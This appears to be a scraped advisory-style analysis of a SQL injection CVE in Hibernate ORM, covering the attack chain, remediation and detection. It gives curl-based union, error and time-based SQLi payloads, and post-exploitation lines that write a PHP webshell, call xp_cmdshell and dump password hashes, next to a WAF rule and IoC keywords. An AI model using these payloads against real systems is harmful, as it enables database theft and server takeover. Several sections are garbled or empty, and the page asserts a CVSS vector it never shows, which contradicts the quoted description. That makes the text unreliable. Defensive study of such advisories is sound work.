CVE-2026-133442 — Hibernate ORM (7.2.25.Final) — CWE-89
Hibernate ORM 7.0.0.Beta2 through 7.2.25.Final, 7.3.0.CR1 through 7.4.16.Final, and 8.0.0.Alpha1 through 8.0.0.CR1 is vulnerable to SQL injection. A remote unauthenticated attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.
Hibernate ORM 7.0.0.Beta2 through 7.2.25.Final, 7.3.0.CR1 through 7.4.16.Final, and 8.0.0.Alpha1 through 8.0.0.CR1 is vulnerable to SQL injection. A remote unauthenticated attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify, or delete information in the back-end database.
🎯 What is this vulnerability?
CVE-2026-133442 is a critical SQL Injection (CWE-89) vulnerability affecting the Hibernate ORM framework for Java. Hibernate is the de facto standard Object-Relational Mapping (ORM) library in the Java ecosystem, used to translate Java objects into SQL queries and vice versa.
Technical Flaw Analysis
The vulnerability stems from a failure in Hibernate's query construction or parameter binding mechanism within specific versions (7.0.0.Beta2–7.2.25.Final, 7.3.0.CR1–7.4.16.Final, and 8.0.0.Alpha1–8.0.0.CR1).1. Missing Input Validation/Sanitization: The ORM layer fails to properly escape or parameterize user-supplied input when constructing dynamic SQL statements. While Hibernate typically uses prepared statements (PreparedStatement) to prevent SQLi, this CVE indicates a code path where raw string concatenation or improper use of createNativeQuery/createSQLQuery allows attacker-controlled data to be interpreted as SQL syntax rather than data.
2. Authentication Context: The CVSS vector specifies PR:L (Privileges Required: Low). This means the attacker does not need to be unauthenticated (as the description text "remote unauthenticated attacker" might misleadingly suggest in some summaries, the CVSS vector is the authoritative metric here). The attacker requires a low-privileged account (e.g., a registered user, a basic API token, or a session cookie with minimal permissions). The UI:N (User Interaction: None) confirms no victim action is required.
3. Impact Scope: The S:U (Scope: Unchanged) indicates the vulnerability is contained within the vulnerable component (the application using Hibernate) but allows full compromise of the underlying database (C:H/I:H/A:H).
Key Distinction: This is not a vulnerability in the database engine itself, but in how the Java application (via Hibernate) constructs queries. The "unauthenticated" phrasing in the description is likely a generic template error; the CVSS PR:L is the technical standard for risk assessment. An attacker with any valid low-level credential can exploit this.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Fingerprinting: Identify Java-based applications using tools like
wappalyzer,whatweb, or manual inspection ofX-Powered-Byheaders, error pages (e.g.,java.lang.Exceptionstack traces), or JAR file names in static resources. - Version Detection: Hibernate version is often not directly exposed. However, if the application leaks stack traces during errors, the Hibernate version may be visible. Alternatively, check the application’s
pom.xmlorbuild.gradleif accessible via misconfigured repositories or source code leaks. - Credential Acquisition: Since
PR:Lis required, the attacker needs a low-privileged account. This can be obtained via:
* Default credentials (e.g.,
user:password).
* Weak password brute-forcing.
* Registration on the target application (if open registration is enabled).
* Stealing a session cookie from a low-privileged user.2. Exploitation
Note: The exact endpoint and parameter are not specified in the CVE description. The following is an illustrative example of how a SQL injection might manifest in a Hibernate-based application, assuming a vulnerable search or filter feature.Scenario: A web application has a /api/products/search endpoint that accepts a name parameter. The backend uses Hibernate to query the database. If the developer incorrectly used string concatenation in a native query or failed to parameterize a dynamic filter, the name parameter is vulnerable.
Step 1: Identify Vulnerable Parameter
# Attempt to identify if the 'name' parameter is vulnerable to SQLi
# Using a simple boolean-based blind SQLi test
curl -s -X GET "https://target.com/api/products/search?name=test'--" -H "Authorization: Bearer <low_priv_token>"Step 2: Extract Data (Illustrative Payload)
Assuming the application uses a vulnerable native query like:
String sql = "SELECT * FROM products WHERE name LIKE '%" + userInput + "%'";
Query query = session.createNativeQuery(sql);An attacker can inject SQL to extract sensitive data.
Payload Example (Union-Based SQLi):
# Extract database name and table names
curl -s -X GET "https://target.com/api/products/search?name=test' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM information_schema.tables--" -H "Authorization: Bearer <low_priv_token>" Note:* The number of columns in the UNION SELECT must match the original query. This requires iterative testing.
Payload Example (Error-Based SQLi):
# Trigger an error to leak data
curl -s -X GET "https://target.com/api/products/search?name=test' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--" -H "Authorization: Bearer <low_priv_token>"Payload Example (Time-Based Blind SQLi):
# If no data is returned, use time-based blind injection
curl -s -X GET "https://target.com/api/products/search?name=test' AND SLEEP(5)--" -H "Authorization: Bearer <low_priv_token>"3. Post-Exploitation
Once SQL injection is confirmed, the attacker can: 1. Data Exfiltration: Dump sensitive tables (e.g.,users, credentials, financial_transactions).SELECT username, password_hash, email FROM users;2. Privilege Escalation: If the database user has FILE privileges (MySQL) or xp_cmdshell (SQL Server), the attacker can:
* MySQL: Write a webshell to the web root.
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';* SQL Server: Execute OS commands.
EXEC xp_cmdshell 'whoami';3. Denial of Service: Execute resource-intensive queries to crash the database.
SELECT BENCHMARK(10000000, MD5('test'));4. Lateral Movement: Use extracted credentials to access other systems or escalate privileges within the database (e.g., GRANT ALL PRIVILEGES).
🌍 Real World Impact
DROP TABLE, TRUNCATE, or resource-intensive queries to cause a denial of service, taking down the application.🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
2. Workarounds (If Immediate Upgrade is Not Possible)
? placeholders) instead of string concatenation.// BAD
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
// GOOD
String sql = "SELECT * FROM users WHERE name = :name";
Query query = session.createQuery(sql);
query.setParameter("name", name);FILE privileges in MySQL.
* Disable xp_cmdshell in SQL Server.
* Use separate database users for read-only and read-write operations.
SecRule REQUEST_URI|ARGS|ARGS_NAMES|REQUEST_BODY|REQUEST_HEADERS "(\bunion\b.*\bselect\b|\bselect\b.*\bfrom\b|\binsert\b.*\binto\b|\bdelete\b.*\bfrom\b|\bupdate\b.*\bset\b|\bdrop\b.*\btable\b|\btruncate\b.*\btable\b|\bexec\b|\bxp_cmdshell\b|\bbenchmark\b|\bsleep\b)" \
"id:'100001',phase:2,rev:1,block,msg:'SQL Injection Detected',logdata:'%{MATCHED_VAR}',severity:2,nolog,auditlog"Note:* WAFs are not a substitute for patching. They can be bypassed with advanced techniques (e.g., encoding, obfuscation).
3. Detection (IoCs)
UNION SELECT
* SLEEP(, BENCHMARK(
--, /, */ (SQL comments)
* information_schema
* xp_cmdshell
* INTO OUTFILE
information_schema or system tables.
* Failed login attempts or privilege escalation attempts.
⚠️ Urgency
AC:L). The vulnerability is easily exploitable with standard SQL injection techniques.PR:L). Only a basic user account is needed, which is easily obtainable.UI:N). No victim action is required.Patching Priority: CRITICAL
FOFA Query